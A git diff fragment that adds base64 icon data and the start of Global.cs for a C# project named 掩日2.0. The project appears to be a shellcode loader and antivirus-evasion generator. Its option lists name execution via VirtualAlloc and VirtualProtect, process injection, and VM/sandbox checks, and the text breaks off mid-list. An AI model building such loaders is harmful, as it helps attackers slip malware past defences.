+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANmEXADZhFxW2YRc89mE
+ XP/ZhFz/2YRc/9mEXP/ZhFz/2YRc/9mEXP/ZhFz/2YRc/9mEXP/ZhFz/2YNb/9mEXP/ahl3/24th/96X
+ af/kqHT/6Lh+/+zFh//vzYz/8dKP//HTkP/x05D/8dOQ//HTkP/x05D/8dOQ//HTkP/x05D/8dOQ//HT
+ kP/x0o//8M+N//HTkP/x05D/8dOQ//HTkP/x05D/8dOQ//HTkP/x05D/8dOQ//HTkP/x05D/8dOQ//HU
+ kP/jpXL/2YNb/9mEXP/ZhFz/2YRc/9mEXP/ZhFz/2YRc99mEXHbYhFsIAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAANmEXBLYhFyn2YRc/9mEXP/ZhFz/2YRc/9mEXP/ZhFz/2YRc/9mE
+ XP/ZhFz/2YRc/9mEXP/ZhFz/2YRc/9mDW//ZhFz/2YVd/9qJX//bjmL/3pZo/+Cebf/lrnf/6byB/+zD
+ hf/tx4j/7sqK/+7Mi//uzIv/7suK/+3HiP/sxIX/6byB/+Wtdv/io3D/7MOF//HTkP/x05D/8dOQ//HT
+ kP/x05D/8dOQ//HTkP/x05D/8dOQ//HTkP/x05D/8dSQ/+Olcv/Zg1v/2YRc/9mEXP/ZhFz/2YRc/9mE
+ XPvZhFyd2IRcGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2YRbAtmE
+ WzTYhFyn2YRc+dmEXP/ZhFz/2YRc/9mEXP/ZhFz/2YRc/9mEXP/ZhFz/2YRc/9mEXP/ZhFz/2YRc/9mE
+ XP/Zg1z/2YNb/9mEXP/ZhV3/2oZd/9uLYP/ckWT/3pVn/9+Zaf/gm2z/4J1s/+CdbP/gnGz/35lp/96V
+ Z//ckWT/24tg/9qIXv/fmGn/6Ld9//DQjv/x05D/8dOQ//HTkP/x05D/8dOQ//HTkP/x05D/8dOQ//HT
+ kP/x1JD/46Vy/9mDW//ZhFz/2YRc/9mEXP/ZhFz12YRcl9mEXCjZhFsCAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2YRcBtiEXC7ZhFyb2YRc99mEXP/ZhFz/2YRc/9mE
+ XP/ZhFz/2YRc/9mEXP/ZhFz/2YRc/9mEXP/ZhFz/2YRc/9mEXP/ZhFz/2YRc/9mEXP/Zg1v/2YNb/9mE
+ XP/ZhFz/2YVd/9mFXf/Zhl3/2YZd/9mGXf/ZhV3/2YRc/9mEXP/Zg1v/2YNb/9mFXf/dkWX/5rB5/+/O
+ jf/x05D/8dOQ//HTkP/x05D/8dOQ//HTkP/x05D/8dOQ//HUkP/jpXL/2YNb/9mEXP/ZhFz/2YRb7dmE
+ XIvZhFwk2YRcAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAA2IRcAtmEXCrZhFyN2YRb4dmEXP/ZhFz/2YRc/9mEXP/ZhFz/2YRc/9mEXP/ZhFz/2YRc/9mE
+ XP/ZhFz/2YRc/9mEXP/ZhFz/2YRc/9mEXP/ZhFz/2YRc/9mEXP/ZhFz/2YNc/9mDXP/Zg1z/2YNc/9mE
+ XP/ZhFz/2YRc/9mEXP/ZhFz/2YNc/9mEXP/cjmP/5Kt2/+3Jif/x05D/8dOQ//HTkP/x05D/8dOQ//HT
+ kP/x05D/8dSQ/+Olcv/Zg1v/2YRc/dmEXNHZhFx42YRcItiEXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2IRcAtmEXCLZhFxq2IRcv9mE
+ XPXZhFz/2YRc/9mEXP/ZhFz/2YRc/9mEXP/ZhFz/2YRc/9mEXP/ZhFz/2YRc/9mEXP/ZhFz/2YRc/9mE
+ XP/ZhFz/2YRc/9mEXP/ZhFz/2YRc/9mEXP/ZhFz/2YRc/9mEXP/ZhFz/2YRc/9mEXP/ZhFz/2YRc/9mE
+ XP/bjGH/4qRx/+vChf/w0Y//8dOQ//HTkP/x05D/8dOQ//HTkP/x05D/46Vy/diCW9nYhFyf2YRcVNmE
+ XBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAANmEXBDZhFxE2YRcmdmEW+PZhFv92YRc/9mEXP/ZhFz/2YRc/9mE
+ XP/ZhFz/2YRc/9mEXP/ZhFz/2YRc/9mEXP/ZhFz/2YRc/9mEXP/ZhFz/2YRc/9mEXP/ZhFz/2YRc/9mE
+ XP/ZhFz/2YRc/9mEXP/ZhFz/2YRc/9mEXP/ZhFz/2YRc/9mDW//aiF//4Jxs/+q9gv/w0Y7/8dOQ//HT
+ kP/x05D/8dOQ//HTkP/lrXfF14BZYNmDXCzZhFwIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AADZhFwo2YRbdNiEXLHZhFzh2YRc/dmEXP/ZhFz/2YRc/9mEXP/ZhFz/2YRc/9mEXP/ZhFz/2YRc/9mE
+ XP/ZhFz/2YRc/9mEXP/ZhFz/2YRc/9mEXP/ZhFz/2YRc/9mEXP/ZhFz/2YRc/9mEXP/ZhFz/2YRc/9mE
+ XP/ZhFz/2YRc/9mDXP/ZhV3/35lq/+m4fv/vzYz/8dOQ//HTkP/x05D/8dOQ8evAg2bTb04IAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADYhFwO2YRcNtmEXHTYhFyt2IRb39mE
+ XPvZhFz/2YRc/9mEXP/ZhFz/2YRc/9mEXP/ZhFz/2YRc/9mEXP/ZhFz/2YRc/9mEXP/ZhFz/2YRc/9mE
+ XP/ZhFz/2YRc/9mEXP/ZhFz/2YRc/9mEXP/ZhFz/2YRc/9mEXP/ZhFz/2YRc/9mEXP/ZhVz/3pRm9ee1
+ fN3w0Y/l8dKQ9/HTkO3x05Ch8taSHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAA2YRcCtmEXDDZhFx02YRcr9mEXM/ZhFzn2YRc99mEXP/ZhFz/2YRc/9mE
+ XP/ZhFz/2YRc/9mEXP/ZhFz/2YRc/9mEXP/ZhFz/2YRc/9mEXP/ZhFz/2YRc/9mEXP/ZhFz/2YRc/9mE
+ XP/ZhFz/2YRc/dmEXPXZhFzn2YRc1dmEXL/Zg1ud3pVocPDQjnzx05Cj8dOQjfDTkC4AAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANmE
+ XArZhFws2YRbVtmEXIXZg1yn2IRcw9mEXNXZhFvj2YRc8dmEXPvYg1z/2YRc/9mEXP/ZhFz/2YRc/9mE
+ XP/ZhFz/2YRc/9mEXP/Yg1z/2YRc/dmEXPPZhFvn2YRc29mEXM/ZhFy92YRcpdmEXIXZhFti2IRcPNiE
+ XBrUdVEG8NGPDPHTkB7x05ASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2YRcCNmEXB7ZhFw82YRbXtmE
+ XHrZhFyf2YRcv9mEXM3ZhFzT2YRc1dmEXNnZhFzb2YRc29mEXNnZhFzX2YRc09mEXM3ZhFzB2YRcp9mE
+ W4fZhFxs2YRcUtmEXDLZhFwa2YRcCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2YRcBNmEXBbZhFww2YRcQNmEXFDYhFxW2IRcYNmE
+ XGTZhFxk2IRcYNiEXFjZhFxQ2YNcRNmEXDLZhFwc2YRcBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAA////////////////////////////////////////////////////////
+ ////////////////////////////////////////////////////////////////////////////A///
+ ///wH////////////AB/////wAf///////////AAP////4AD///////////wAB////8AAf//////////
+ 4AAP///+AAD//////////8AAD////gAA///////////AAAf///wAAH//////////gAAH///8AAB/////
+ /////4AAB////AAAP/////////+AAAf///gAAD//////////gAAD///4AAA/////////4AAAAAAAAAAA
+ Af///////8AAAAAAAAAAAAB///////+AAAAAAAAAAAAAP///////AAAAAAAAAAAAAD///////wAAAAAA
+ AAAAAAAf//////8AAAAAAAAAAAAAH///////AAAAAAAAAAAAAB///////wAAAAAAAAAAAAAf//////8A
+ AAAAAAAAAAAAH///////AAAAAAAAAAAAAB///////wAAAAAAAAAAAAAf//////8AAAAAAAAAAAAAH///
+ ////AAAAAAAAAAAAAB///////4AAAAAAAAAAAAA///////+AAAAAAAAAAAAAP///////wAAAAAAAAAAA
+ AH////////AAAAAAAAAAAAH/////////4Af/////AB///////////+AH/////4Af///////////gA///
+ //8AH///////////4AP/////AB///////////+AB/////gAf///////////gAf////4AH///////////
+ 4AD////8AB///////////+AA/////AAf///////////gAP////gAH///////////4AB////4AB//////
+ /////+AAf///8AAf///////////gAD////AAH///////////4AA////wAB//////////+OAAH///4AAf
+ /////////8AAAB///8AAH/////////8AAAAP//+AAB/////////+AAAAAAAAAAAf/////////AAAAAAA
+ AAAAH/////////wAAAAAAAAAAB/////////8AAAAAAAAAAAf/////////AAAAAAAAAAAH/////////4A
+ AAAAAAAAAB/////////+AAAAAAAAAAAf/////////wAAAAAAAAAAH/////////8AAAAAAAAAAB//////
+ ////AAAAAAAAAAAf/////////wAAAAAAAAAAH/////////8AAAAAAAAAAB//8H//////AAAAAAAAAAAf
+ /+AP/////wAAAAAAAAAAH//AA/////8AAAAAAAAAAB//gAD/////AAAAAAAAAAAf/wAA/////wAAAAAA
+ AAAAH/8AAH////8AAAAAAAAAAB/+AAB/////AAAAAAAAAAAf/gAAf////wAAAAAAAAAAH/wAAH////8A
+ AAAAAAAAAA/8AAB/////AAAAAAAAAAAP/AAAf////wAAAAAAAAAAB/gAAH////8AAAAAAAAAAAf4AAB/
+ ////AAAAAAAAAAAD+AAAf////wAAAAAAAAAAAfgAAD////8AAAAAAAAAAAD4AAA/////AAAAAAAAAAAA
+ cAAAH////wAAAAAAAAAAABAAAA////8AAAAAAAAAAAAAAAAP////gAAAAAAAAAAAAAAAB////4AAAAAA
+ AAAAAAAAAAP////AAAAAAAAAAAAAAAAD////4AAAAAAAAAAAAAAAAf////AAAAAAAAAAAAAAAAH////4
+ BgAAAAAAAAAAAAAA//////8AAAAAAAAAAAAAAP//////gAAAAAAAAAAAAAD//////+AAAAAAAAAAAAAA
+ f//////wAAAAAAAAAAAAAH///////gAAAAAAAAAAAAB///////////4AAAAAAAAAP///////////wAAA
+ AAAAAA///////////+AAAAAAAAAD///////////wAAAAAAAAAP//////////+AAAAAAAAAB/////////
+ //wAAAAAAAAAf//////////+AAAAAAAAAD///////////wAAAAAAAAA///////////8AAAAAAAAAP///
+ ////////AAAAAAAAAD///////////gAAAAAAAAA///////////4AAAAAAAAAP//////////8AAAAAAAA
+ AD///////////AAAAAAAAAA///////////wAAAAAAAAAf//////////8AAAAAAAAAH///////////AAA
+ AAAAAAD///////////wAAAAAAAAA///////////8AAAAAAAAAf///////////gAAAAAAAAP/////////
+ //4AAAAAAAAD////////////AAAAAAAAB////////////4AAAAAAAA/////////////AAAAAAAA/////
+ ////////8AAAAAAAf/////////////gAAAAAAf/////////////+AAAAAAP//////////////4AAAAAD
+ ///////////////gAAAAZ///////////////+AAAA//////////////////AAH//////////////////
+ ////////////////////////////////////////////////////////////////////////////////
+ //////////////////////////////////8=
+
+
+
\ No newline at end of file
diff --git "a/\346\216\251\346\227\2452.0/Global.cs" "b/\346\216\251\346\227\2452.0/Global.cs"
new file mode 100644
index 0000000..5d45025
--- /dev/null
+++ "b/\346\216\251\346\227\2452.0/Global.cs"
@@ -0,0 +1,38 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace 掩日2._0
+{
+ class Global
+ {
+ public static string MINGWPATH;
+ public static string ICONPATH = "";
+
+ public static string[] C_Execute = {"执行1-VirtualAlloc",
+ "执行2-GetProcAddress",
+ "注入现有进程",
+ "注入新进程"};
+
+ public static string[] CS_Execute_x64 = {"执行1-GetProcAddress",
+ "执行2-VirtualProtect",
+ "注入现有进程",
+ "注入新进程"};
+
+ public static string[] CS_Execute_x86 = {"执行1-GetProcAddress",
+ "执行2-VirtualProtect"};
+
+ public static string[] VM_Sandbox = {"不使用",
